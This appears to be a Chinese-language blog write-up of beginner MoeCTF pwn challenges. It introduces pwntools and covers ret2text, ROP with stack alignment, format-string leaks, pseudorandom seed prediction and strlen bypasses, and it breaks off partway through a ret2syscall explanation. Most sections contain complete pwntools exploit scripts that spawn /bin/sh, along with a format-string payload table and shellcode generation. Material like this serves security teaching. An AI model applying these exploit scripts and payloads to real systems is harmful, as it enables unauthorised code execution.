全栈之旅:从moectf开始的pwn入门指南

Wang1r Lv4

Week1

二进制漏洞审计入门指北

执行解题脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *                                    # 导入 pwntools。
context(arch='amd64', os='linux', log_level='debug') # 一些基本的配置。

# 有时我们需要在本地调试运行程序,需要配置 context.terminal。详见入门指北。

# io = process('./pwn') # 在本地运行程序。
# gdb.attach(io) # 启动 GDB
io = connect(???, ???) # 与在线环境交互。
io.sendline(b'114511') # 什么时候用 send 什么时候用 sendline?

payload = p32(0xdeadbeef) # p32(0xdeadbeef)、b"\xde\xad\xbe\xef"、b"deadbeef" 有什么区别?
# 你看懂原程序这里的检查逻辑了吗?
payload += b'shuijiangui' # strcmp

io.sendafter(b'password.', payload) # 发送!通过所有的检查。

io.interactive() # 手动接收 flag。

what is pwntools

pwntools 是一个专为二进制安全研究(尤其是漏洞利用开发)设计的 Python 工具库,广泛应用于 CTF 竞赛、渗透测试和漏洞分析领域。它通过封装底层操作(如进程交互、汇编指令生成、内存操作等),提供了一套高效且统一的 API,大幅简化了漏洞利用脚本(Exploit)的开发流程

how to use pwntools

以下是一些常用的用法:

  • 本地进程
1
p = process("./binary")      # 启动本地程序
  • 远程连接
1
r = remote("192.168.1.1", 1337)  # 连接远程服务[1,2](@ref)
  • 发送数据
1
2
3
p.send(b"data")              # 原始数据
p.sendline(b"data") # 数据+换行符
p.sendafter(b"Prompt:", b"input") # 匹配提示后发送[3,4](@ref)
  • 接收数据
1
2
3
data = p.recv(1024)         # 接收指定字节
line = p.recvline() # 接收一行
p.recvuntil(b"End:") # 接收直到匹配字符串[1,5](@ref)
  • 交互模式
1
p.interactive()  # 接管控制台(获取shell后常用)[1,2](@ref)
  • ELF文件解析
1
2
3
4
elf = ELF("./binary")
main_addr = elf.symbols["main"] # 函数地址
puts_plt = elf.plt["puts"] # PLT表地址
got_addr = elf.got["printf"] # GOT表地址[1,4](@ref)
  • Shellcode生成
1
2
3
4
# 生成Linux/x86的execve("/bin/sh")
shellcode = asm(shellcraft.sh())
# 避免坏字符(如\x00)
shellcode = asm(shellcraft.sh().replace("\x00", ""))[1,5](@ref)
  • ROP链构造
1
2
3
4
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]]) # 调用puts(puts@got)
rop.call("main") # 返回到main函数
payload = flat({64: rop.chain()}) # 填充偏移后拼接ROP链[1,4](@ref)
  • 数据打包与解包
1
2
p64(0xdeadbeef)    # 打包为64位小端序字节:b'\xef\xbe\xad\xde'
u32(b"ABCD") # 解包为32位整数:0x44434241[2,4](@ref)

脚本解析

1
from pwn import *                                    # 导入 pwntools。
1
2
3
4
5
6
7
8
9
10
11
context(arch='amd64', os='linux', log_level='debug') 
'''
arch设置为amd64,这是最常用的arch版本
如果是32位系统,一般使用i386
64位系统中还有arm64

os选用linux,一般的pwn题都是elf

log_level使用debug,可以显示更多运行信息
如果不想输出过多内容,可以使用info或者error模式
'''
1
2
io = process('./pwn')  				# 在本地运行程序。
io = connect(???, ???) # 与在线环境交互。
1
2
3
io.sendline(b'114511')              
# sendline相对于send会多发送换行符
#程序若用 gets() 或 fgets() 读输入,通常需要 \n 触发读取。
1
2
3
4
5
6
7
payload  = p32(0xdeadbeef)          
'''
p32(0xdeadbeef)、b"\xde\xad\xbe\xef"、b"deadbeef" 有什么区别?
p32(0xdeadbeef)是通过pwntools打包好的字节信息,可以转换成b"\xef\xbe\xad\xde",也即小端序字节码
b"\xde\xad\xbe\xef"则是大端序的0xdeadbeef,常见的系统一般都是小端序
b"deadbeef"则是发送ASCII码
'''
1
2
3
payload += b'shuijiangui'         
io.sendafter(b'password.', payload)
#sendafter 严格匹配字节序列 b'password.'。若程序输出有空格/换行(如 "password: "),需完整匹配。
1
io.interactive()                    # 开启互动模式

EZtext

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("Stack overflow is a powerful art!");
puts("In this MoeCTF,I will show you the charm of PWN!");
puts("You need to know the struct of stack first.");
puts("Then how many bytes do you need to overflow the stack?");
__isoc99_scanf("%d", &v4);
overflow(v4);
return 0;
}

int __fastcall overflow(int n7)
{
_BYTE buf[8]; // [rsp+18h] [rbp-8h] BYREF

if ( n7 <= 7 )
return puts("Come on, you can't even fill this array!");
read(0, buf, n7);
return puts("OK,I recvieve your byte.and then?");
}

int treasure()
{
puts("Congratulations! You got the secret!");
return system("/bin/sh");
}

checksec检查:

1
2
3
$ checksec --file=./pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 44 Symbols No 0 1 ./pwn

从源码可以看到,这是很明显的ret2text的题型

what is ret2text?

ret2text是栈溢出类型中最简单的一类问题,我们通过覆盖栈中内容来进行一系列调用。

ret2text就是执行程序中已有的代码,例如程序中写有system等系统的调用函数。

在本题中就是后门函数treasure()

what is stack stack buffer overflow?

栈缓冲区溢出(stack buffer overflow或stack buffer overrun)是计算机程序把数据写入调用栈上的内存时超出了数据结构的边界。栈缓冲区溢出是缓冲区溢出的一种。 这会损坏相邻数据的值,引发程序崩溃或者修改了函数返回地址从而导致执行恶意的程序。这种攻击方式称为stack smashing。可被用于注入可执行代码、接管进程的执行。是最为古老的黑客攻击行为之一。

how to understand stack buffer overflow?

在学习计算机系统的过程中,我们可以学习到栈帧的结构:

1
2
3
4
5
6
7
8
9
10
高地址
+---------------------+
| 返回地址 (ret) | ← 被溢出数据覆盖
+---------------------+
| 调用者栈帧基址 (ebp) | ← 可能被覆盖
+---------------------+
| 局部变量 buffer | ← 溢出起点 [0-7]
| [0] [1] ... [7] |
+---------------------+
低地址

栈缓冲区溢出发生在向栈上分配的缓冲区写入数据时超出其边界,覆盖相邻内存区域

特征是读入数据长度无限制或者读入长度大于缓冲区长度

how to solve a ret2text problem?

32位系统

无需传参

如果程序的后门函数参数已经满足 getshell 的需求,那么就可以直接溢出覆盖 ret 地址不用考虑传参问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char shell[] = "/bin/sh";
int func(char *cmd){
system(shell);
return 0;
}

int dofunc(){
char a[8]={};
write(1,"inputs: ",7);
read(0,a,0x100);
return 0;
}

int main(){
dofunc();
return 0;
}

以上就是一道很经典的32位系统无传参的ret2text

攻击关键:

1. `**func()**` 已包含 `**system("/bin/sh")**`
2. `**read()**` 允许写入超长数据
3. 偏移量计算:
1
2
3
4
5
6
7
8
9
10
int dofunc()
{
_DWORD buf[3]; // [esp+8h] [ebp-10h] BYREF

buf[0] = 0;
buf[1] = 0;
write(1, "inputs: ", 7u);
read(0, buf, 0x100u);
return 0;
}

栈帧结构(32位系统):

1
2
3
4
5
6
7
8
9
10
11
12
低地址
+-----------------+
| buf[0] | <- ebp-0x10
| buf[1] | <- ebp-0xC
| buf[2] | <- ebp-0x8
| 未使用空间 | <- ebp-0x4 (4字节)
+-----------------+
| 保存的ebp | <- ebp (4字节)
+-----------------+
| 返回地址 | <- ebp+0x4 (攻击目标)
+-----------------+
高地址

从buf起始位置到返回地址的距离

  • **buf**起始地址 = **ebp - 0x10**
  • 返回地址位置 = **ebp + 0x4**
  • 总偏移 = **(0x10 + 0x4)** = 20字节

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'

pwnfile = './x86'

io = process(pwnfile)

ret = 0x8049186 #获取到的函数地址,可以通过多种方式获得
payload = b'a'*20 + p32(ret)


io.recv(7)
io.send(payload)
io.interactive()

重构传参

一般并不会直接将”shell = ‘/bin/sh’”这种危险字符串和system函数放在一起。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char shell[] = "/bin/sh";
int func(char *cmd){
system(cmd);//不同处
return 0;
}

int dofunc(){
char a[8]={};
write(1,"inputs: ",7);
read(0,a,0x100);
return 0;
}

int main(){
dofunc();
return 0;
}

在32位系统中,函数参数通过栈传递:

  1. 函数返回地址后紧接着是参数
  2. 调用约定:参数从右向左压栈
  3. **system(cmd)** 需要1个参数(字符串指针)

以下是攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'

pwnfile = './x86'
elf = ELF(pwnfile)

# 获取关键地址
func_addr = elf.symbols['func'] # 获取函数地址
shell_addr = elf.symbols['shell'] # 获取字符串地址

# 计算偏移 (与之前相同)
offset = 20

# 构造payload
payload = b'A' * offset # 填充至返回地址
payload += p32(func_addr) # 覆盖返回地址
payload += p32(0xdeadbeef) # func的返回地址(随意)
payload += p32(shell_addr) # 参数1: cmd指针

# 执行攻击
io = process(pwnfile)
io.recvuntil(b'inputs: ') # 等待提示
io.send(payload) # 发送payload
io.interactive() # 获取shell

:::tips
为什么要传入func的返回地址:

  • **func()** 在结束时必然执行 **ret** 指令
  • **ret** 会从栈顶弹出4字节作为返回地址
  • 如果不提供这个地址,程序会使用栈上的随机数据作为地址→崩溃

:::

64位系统

在64位系统中,函数调用遵循 System V AMD64 ABI 调用约定:

  • 寄存器传参
    • 前6个参数通过寄存器传递:
1
2
3
4
5
6
RDI → 第一个参数
RSI → 第二个参数
RDX → 第三个参数
RCX → 第四个参数
R8 → 第五个参数
R9 → 第六个参数
  • 栈传递额外参数
    • 第七个及之后的参数通过栈传递
    • 参数从右向左压栈

栈帧对齐

- 函数调用前需保证栈指针 **16字节对齐**
- `**call**` 指令会压入8字节返回地址 → 调用前栈指针应为 `**8 mod 16**`
无需传参

与32位系统类似,也即本题这样的,需要注意的点在于栈对齐。

当目标函数如 **treasure()** 无需参数时:

1
2
3
payload = b'A'*16          # 覆盖到返回地址
payload += p64(ret_gadget) # 栈对齐gadget
payload += p64(treasure_addr) # 目标函数地址

执行流程

  1. **overflow()** 返回 → 弹出 **ret_gadget** 到 RIP
  2. 执行 **ret** 指令 → RSP += 8(对齐)
  3. 跳转到 **treasure()** → 获得shell
重构传参

由于64位系统的特殊传参方式,我们需要用到ROP技术来解决

所以我们要把 rdi 的值改为 ‘/bin/sh’ 的地址。

参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要利用 gadget 片段。

现在目的很明确了

  1. 修改rdi的值(可使用代码pop rdi ; ret)
  2. 在栈中放入’bin/sh’经由pop提交给rdi
  3. 进入func函数内调用system函数
攻击脚本示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# 加载程序
elf = ELF('./vulnerable')
rop = ROP(elf)

# 获取必要地址
system_addr = elf.plt['system']
bin_sh_addr = next(elf.search(b'/bin/sh\x00'))
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]

# 构造ROP链
payload = b'A'*offset
payload += p64(ret_gadget) # 栈对齐
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(bin_sh_addr) # 参数1 -> RDI
payload += p64(system_addr) # 调用system

# 发送payload
io.send(payload)
ROP链执行流程
1
2
3
4
5
6
7
8
9
+-----------------+
| ret_gadget | → 执行ret指令对齐栈
+-----------------+
| pop_rdi | → 弹出下个值到RDI
+-----------------+
| bin_sh_addr | → "/bin/sh"地址
+-----------------+
| system_addr | → 调用system
+-----------------+

what is gadget?

Gadget(小工具/代码片段)是指在程序已有的可执行代码段中,由若干指令序列组成的短小代码片段,以 **ret** 指令结尾。这些片段可以被攻击者串联使用,实现特定的操作。

常见 Gadget 类型

类型 示例 用途
寄存器操作 **pop rdi; ret** 设置寄存器值
内存操作 **mov [rax], rdx; ret** 内存写入
算术运算 **add rax, 0x10; ret** 地址计算
系统调用 **syscall; ret** 执行系统调用
栈操作 **add rsp, 0x20; ret** 调整栈指针

what is ROP?

ROP(Return-Oriented Programming)是一种高级漏洞利用技术,通过串联多个 gadget 地址形成”链式调用”,在存在内存防护机制(NX/DEP)的环境下实现任意代码执行。

:::tips
工具介绍:ROPgadget

ROPgadget 用于自动化搜索二进制文件(如 ELF、PE、Mach-O)中的 gadgets(短指令序列,以 **ret** 结尾),辅助构造 ROP 链。

命令: ROPgadget --binary ./target --only"pop|ret" 搜索所有包含 pop 和 ret 的 gadgets

命令: ROPgadget --binary ./target --ropchain 生成调用 execve 的 ROP 链

:::

:::tips
工具介绍:One_gadget

One_gadget 专注于在 libc 库中查找直接执行 **execve("/bin/sh", NULL, NULL)** 的指令片段(即 one-gadgets),避免手动构造多参数传递。

命令: one_gadget /lib/x86_64-linux-gnu/libc.so.6 # 查找 libc 中的 one-gadgets

:::

脚本解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

# Set up context
context.binary = './pwn'
context.arch = 'amd64'
context.log_level = 'debug' # For detailed debugging

def exploit():
if args.REMOTE:
host = '127.0.0.1' # Replace with actual host
port = 41853 # Replace with actual port
p = remote(host, port)
else:
p = process()

# Get the address of the treasure function
elf = context.binary
treasure_addr = elf.sym.treasure #获取treasure()地址

# Find a 'ret' gadget for stack alignment
rop = ROP(elf)
ret_gadget = rop.find_gadget(['ret'])[0] #使用ROP功能查询gadget

# Calculate required size (16 padding + 8 ret + 8 treasure = 32 bytes)
payload_size = 32

# Send payload size
p.recvuntil(b'overflow the stack?\n')
p.sendline(str(payload_size).encode())

# Build payload with stack alignment
payload = b'A' * 16 # Padding to reach saved rbp
payload += p64(ret_gadget) # Stack alignment gadget
payload += p64(treasure_addr) # Address of treasure()

# Send payload
p.send(payload)

# Get to interactive mode for shell access
p.recvuntil(b'OK,I recvieve your byte.and then?\n')
p.interactive()

if __name__ == '__main__':
exploit()

ez_u64

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
vuln();
return 0;
}

unsigned __int64 vuln()
{
__int64 num; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Ya hello! Let's play a game.");
printf("Guess which number I'm thinking of.");
printf("Here is the hint.");
write(1, &num, 8uLL);
printf("\n>");
__isoc99_scanf("%zu", &num);
if ( num != num )
{
puts("Wrong answer!");
puts("Try pwntools u64?");
exit(1);
}
puts("Win!");
system("/bin/sh");
return v2 - __readfsqword(0x28u);
}


checksec分析:

1
2
3
$ checksec --file=./u64
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 52 Symbols No 0 2 ./u64

题目很简单,只是帮助我们认识一下u64的用法。

脚本解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *                                   
context(arch='amd64', os='linux', log_level='debug')

target = connect("127.0.0.1",45691)
target.recvuntil(b"hint.")

# 读取程序泄露的8字节栈数据
leaked_data = target.recv(8)
log.success(f"Leaked data: {leaked_data.hex()}")

# 将泄露的小端序数据转换为整数
leaked_value = u64(leaked_data)

# 发送原始泄露值
target.sendline(str(leaked_value).encode())

# 接收后续输出(包含换行符和提示)
target.recvline()
target.interactive()

fmt

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *s2_1; // [rsp+8h] [rbp-88h]
char s1[16]; // [rsp+10h] [rbp-80h] BYREF
char s2[16]; // [rsp+20h] [rbp-70h] BYREF
char s[88]; // [rsp+30h] [rbp-60h] BYREF
unsigned __int64 v8; // [rsp+88h] [rbp-8h]

v8 = __readfsqword(0x28u);
init(argc, argv, envp);
s2_1 = (char *)malloc(0x20uLL);
generate(s2, 5LL);
generate(s2_1, 5LL);
puts("Hey there, little one, what's your name?");
fgets(s, 80, stdin);
printf("Nice to meet you,");
printf(s);
puts("I buried two treasures on the stack.Can you find them?");
fgets(s1, 8, stdin);
if ( strncmp(s1, s2, 5uLL) )
lose();
puts("Yeah,another one?");
fgets(s1, 8, stdin);
if ( strncmp(s1, s2_1, 5uLL) )
lose();
win();
return 0;
}


int win()
{
puts("You got it!");
return system("/bin/sh");
}

checksec分析:

1
2
3
$ checksec --file=./fmt
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 53 Symbols No 0 2 ./fmt

本题的知识点在于格式化字符串漏洞

what is fmt?

格式化字符串漏洞是一种严重的软件安全漏洞,主要出现在使用像 C/C++ 这类允许直接内存访问且不进行边界检查的编程语言编写的程序中。当程序错误地将用户提供的数据直接作为格式化字符串参数传递给格式化输出函数(如 **printf**, **sprintf**, **fprintf**, **syslog** 等)时,该漏洞就会被利用。

how to use fmt?

利用类型 具体方法 格式字符串示例 作用说明 注意事项
信息泄露 栈内容批量泄露 **%x %x %x %x** 连续输出栈上4个参数(十六进制格式) 输出长度不可控
指针格式泄露 **%p %p %p %p** 以指针格式输出栈上数据 更易读取地址
指定位置泄露 **%7$p** 直接读取栈上第7个参数的值 偏移量需调试确定
Canary泄露 **%23$p** 获取栈保护Canary值 需定位精确偏移
libc基址泄露 **%9$s**
+ **p32(puts@got)**
通过GOT表泄露函数地址计算libc基址 需已知GOT表地址
任意地址读取 **"\x50\xa0\x04\x08%6$s"** 读取0x0804a050地址内容 地址需对齐
内存篡改 基础写操作 **AAAA%6$n** 向指定地址写入数字4 写入值较小
控制写入值 **%100c%6$n** 输出100字符后向地址写入100 可能产生大量输出
双字节写入 **%1234x%6$hn** 向地址写入1234(低16位) 使用%hn格式符
单字节写入 **%90x%6$hhn** 向地址写入90(低8位) 最精确控制
多地址写入 **addr1+addr2+"%10x%6$n%20x%7$n"** 同时向两个地址写入不同值

脚本解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context.log_level = 'debug'
SEP = b'|||||'

def main():
host = '127.0.0.1' # Replace with actual host
port = 33883 # Replace with actual port
p = remote(host, port)

p.recvuntil(b"Hey there, little one, what's your name?\n")
payload = SEP + b'%7$s' + SEP + b'%10$p'#利用SEP划分
'''
字符串的具体位置需要通过gdb调试获得
'''
p.sendline(payload)

line = p.recvline()
if not line.startswith(b"Nice to meet you,"):
print("Unexpected response:", line)
return

data = line[len(b"Nice to meet you,"):]
parts = data.split(SEP)
if len(parts) < 3:
print("Split failed:", parts)
return

heap_string = parts[1]
stack_hex_str = parts[2].strip()

if stack_hex_str.startswith(b'0x'):
stack_hex_str = stack_hex_str[2:]

try:
stack_int = int(stack_hex_str, 16)
stack_bytes = stack_int.to_bytes(8, 'little')
stack_treasure = stack_bytes[:5]
except Exception as e:
print("Error converting stack treasure:", e)
return

heap_treasure = heap_string[:5]
p.recvline() # Skip the next line

p.send(stack_treasure + b'\n')
p.recvuntil(b"Yeah,another one?\n")
p.send(heap_treasure + b'\n')

p.interactive()

if __name__ == "__main__":
main()

randomlock

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-14h] BYREF
int i; // [rsp+10h] [rbp-10h]
int v6; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
init(argc, argv, envp);
initseed();
srand(seed);
puts("My lock looks strange—can you help me?");
for ( i = 1; i <= 10 && !flag; ++i )
{
printf("password %d\n>", i);
v6 = rand() % 10000;
__isoc99_scanf("%d", &v4);
if ( v6 != v4 )
lose();
}
win();
return 0;
}

__int64 initseed()
{
__int64 result; // rax
int i; // [rsp+8h] [rbp-8h]
int fd; // [rsp+Ch] [rbp-4h]

fd = open("/dev/urandom", 0, 0LL);
if ( fd < 0 )
{
puts("urandom");
exit(1);
}
read(fd, &seed, 3uLL);
close(fd);
seed = seed % 0x64 + 1;
for ( i = 1; i <= 120; ++i )
change();
while ( 1 )
{
result = seed & 1;
if ( (seed & 1) != 0 )
break;
change();
}
return result;
}

__int64 change()
{
__int64 result; // rax

if ( (seed & 1) != 0 )
{
result = 3 * seed + 1;
seed = 3 * seed + 1;
}
else
{
result = seed >> 1;
seed >>= 1;
}
return result;
}

checksec分析:

1
2
3
$ checksec --file=./random
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 57 Symbols No 0 3 ./random

题目考点在于伪随机数

what is Pseudorandomness?

伪随机性(英语:Pseudorandomness)是一个过程似乎是随机的,但实际上并不是。例如伪随机数是使用一个确定性的算法计算出来的似乎是随机的数序,因此伪随机数实际上并不随机。在计算伪随机数时假如使用的开始值不变的话,那么伪随机数的数序也不变。伪随机数的随机性可以用它的统计特性来衡量,其主要特征是每个数出现的可能性和它出现时与数序中其它数的关系。伪随机数的优点是它的计算比较简单,而且只使用少数数值很难推算出计算它的算法。一般人们使用一个假的随机数,比如电脑上的时间作为计算伪随机数的开始值。

how to use Pseudorandomness?

在C语言中,伪随机数通过标准库函数**rand()****srand()**实现:

初始化种子 (srand)

  1. void srand(unsigned int seed);
  • 设置随机数生成器的起始点
  • 相同种子 ⇒ 相同随机数序列

常用初始化方法:

1
2
srand(time(NULL));  // 使用当前时间作为种子
srand(getpid()); // 使用进程ID作为种子

生成随机数 (rand)

  1. int rand(void);
  • 返回范围:0 ~ RAND_MAX(通常为32767)

生成特定范围的随机数:

1
2
int dice = rand() % 6 + 1;    // 1-6的随机数
int percentage = rand() % 100; // 0-99的随机数

典型使用模式

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <time.h>

int main() {
srand(time(NULL)); // 基于时间初始化种子

for(int i=0; i<5; i++) {
printf("Random number %d: %d\n", i+1, rand());
}
return 0;
}

由上面的分析可以得到,如果srand()初始化的种子确定,那么随机数就确定,这就给利用伪随机数提供了条件

脚本解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
import ctypes
import sys

context.log_level = 'debug' # 减少输出噪音

def generate_password_sequence():
"""使用系统libc的rand函数生成密码序列"""
libc = ctypes.CDLL('libc.so.6')
libc.srand(1) # 最终种子总是1
'''
我们可以分析initseed()函数
在函数initseed()函数内,首先使用/dev/urandom获取真随机数作为种子
然后将种子取模,限制在 1~100 之间
然后通过change()函数进行可预测变换
可以证明这些种子的结果必收敛到1
'''
return [str(libc.rand() % 10000) for _ in range(10)]

def exploit():
# 生成密码序列
password_sequence = generate_password_sequence()
print(password_sequence)
r = process('./random') # 本地测试

# 接收初始消息
r.recvuntil(b' you help me?')

for i in range(1, 11):
# 接收密码提示
prompt = f"password {i}\n>".encode()
r.recvuntil(prompt)

# 发送当前密码
password = password_sequence[i-1]
r.sendline(password.encode())


# 获取最终结果
r.interactive()

if __name__ == '__main__':
exploit()

str_check

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __fastcall main(int argc, const char **argv, const char **envp)
{
char dest[24]; // [rsp+0h] [rbp-20h] BYREF
size_t n; // [rsp+18h] [rbp-8h] BYREF

init(argc, argv, envp);
puts("What can u say?");
__isoc99_scanf("%255s", str);
puts("So,what size is it?");
__isoc99_scanf("%zu", &n);
len = strlen(str);
if ( (unsigned __int64)len > 0x18 )
{
puts("Oh,too much.");
exit(1);
}
if ( !strncmp(str, "meow", 4uLL) )
memcpy(dest, str, n);
else
strncpy(dest, str, n);
puts("You're right.");
return 0;
}
int backdoor()
{
return system("/bin/sh");
}

checksec分析:

1
2
3
4
5
6
7
8
9
10
$ checksec --file=./strc   
[*] '/home/kali/CTF_Scripts/Practice/strc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

无canary,依旧是ret2text,但是包含了绕过字符串检查的考点

how to bypass string checking

strlen

这是检验字符串长度的函数,常见的形式是”当字符串个数>number时,失败”,绕过它其实很简单,在输出的字符串开头加上’\x00’,这样strlen就不会检测后续字符串的个数了,就完成了绕过

strncmp

指定比较size个字符串,有三个参数。前一二为比较的字符串,第三个参数为size

strncmp(string1,string2,size)

比较规则
返回值 含义 内存示例 (n=4)
0 前n字节完全相同 “flag” vs “flag”
<0 str1 < str2 (字典序) “abcd” vs “bbcd”
>0 str1 > str2 (字典序) “cat\x00” vs “cat” (n=4)
常见样式

!strcmp(&buf[j],"flag"/"cat"....,size)

这样的格式可以理解为”过滤”,这些字符串都不能用,如果用了这些字符串,就很有可能退出运行(如果该函数是这么定义的话)

脚本分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context.binary = './strc'
context.arch = 'amd64'
context.log_level = 'debug'

elf = ELF('./strc')
backdoor_addr = elf.symbols['backdoor']

# 查找ret指令用于栈对齐
rop = ROP(elf)
ret_gadget = rop.find_gadget(['ret'])[0]

log.info(f"Backdoor address: {hex(backdoor_addr)}")
log.info(f"Ret gadget: {hex(ret_gadget)}")

p = remote('127.0.0.1',39959)

# 构建payload(考虑栈对齐)
payload = b"meow" + b"A"*19 # 23 bytes (4+19)
payload += b"\x00" # Null byte at offset 23 (strlen=23)
#使用\x00来绕过strlen的检查
payload += b"B"*8 # Overwrite 'n' variable
payload += b"C"*8 # Overwrite saved RBP
payload += p64(ret_gadget) # Stack alignment
payload += p64(backdoor_addr) # Target function

assert len(payload) == 56, f"Payload length: {len(payload)}"
#声明"合法"长度绕过二次检查

# 发送payload
p.recvuntil(b"What can u say?")
p.sendline(payload)

p.recvuntil(b"So,what size is it?")
p.sendline(str(len(payload)).encode()) # Copy 56 bytes

p.interactive()

syslock

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
write(1, "My lock looks strange—can you help me?\n", 0x29uLL);
write(1, "choose mode\n", 0xCuLL);
i = input();
if ( i > 4 )
lose();
write(1, "Input your password\n", 0x14uLL);
read(0, (char *)&s + i, 0xCuLL);
if ( i != 59 )
lose();
cheat();
return 0;
}


ssize_t cheat()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

write(1, "Developer Mode.\n", 0x10uLL);
return read(0, buf, 0x100uLL);
}

checksec分析:

1
2
3
4
5
6
7
8
9
10
$ checksec --file=./syslock
[*] '/home/kali/CTF_Scripts/Practice/syslock'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

无canary和pie,但是没有后门函数了,而且开启了NX保护,所以这里的考点是~~~~ret2syscall后面综合分析得到ret2syscall不可行,最主要的原因是没有syscall;ret这一gadget,所以这里需要使用ret2libc

what is ret2syscall?

**ret2syscall**(Return-to-syscall)是一种二进制漏洞利用技术,属于更广泛的ROP(Return-Oriented Programming)攻击的一种具体形式。它的核心目标是:在无法直接执行栈上的恶意代码(例如,由于NX/DEP保护开启)的情况下,通过精心构造ROP链,直接调用操作系统的系统调用(syscall)来获取一个shell

how to solve a ret2syscall problem?

通用步骤:

  1. 定位漏洞点
    发现栈溢出漏洞(如 **gets()****scanf()**)或其他能劫持 EIP/RIP 的漏洞。
  2. 搜索关键组件
    使用工具(**ROPgadget****ropper****pwntools**)查找:
    • 系统调用指令(**int 0x80**/**syscall**
    • 寄存器控制 Gadgets(**pop <寄存器>; ret;**
    • **/bin/sh**** 字符串地址**(或在可写内存中构造)
  3. 构建 ROP 链
    按系统调用要求设置寄存器值,触发系统调用。
  4. 组装攻击载荷
1
[填充字节] + [Gadget地址 + 参数值] + [系统调用触发指令地址]

32位系统

系统调用指令**int 0x80**
参数寄存器

  • **eax** = 系统调用号
  • **ebx** = 第一参数
  • **ecx** = 第二参数
  • **edx** = 第三参数
**execve("/bin/sh", 0, 0)** 获取 shell 为例:
目标 所需 Gadget
系统调用号 **eax = 0x0b** **pop eax; ret**
参数1 **ebx = <地址>** **pop ebx; ret**
参数2 **ecx = 0** **pop ecx; ret**
参数3 **edx = 0** **pop edx; ret**
触发调用 **int 0x80** **int 0x80; ret**

攻击载荷结构(栈空间从低到高):

1
2
3
4
5
6
7
8
9
10
偏移填充字节 * n
pop_eax地址 # 弹出下一个值到 eax
0x0b # execve 系统调用号 (11)
pop_ebx地址
bin_sh地址 # "/bin/sh" 字符串地址
pop_ecx地址
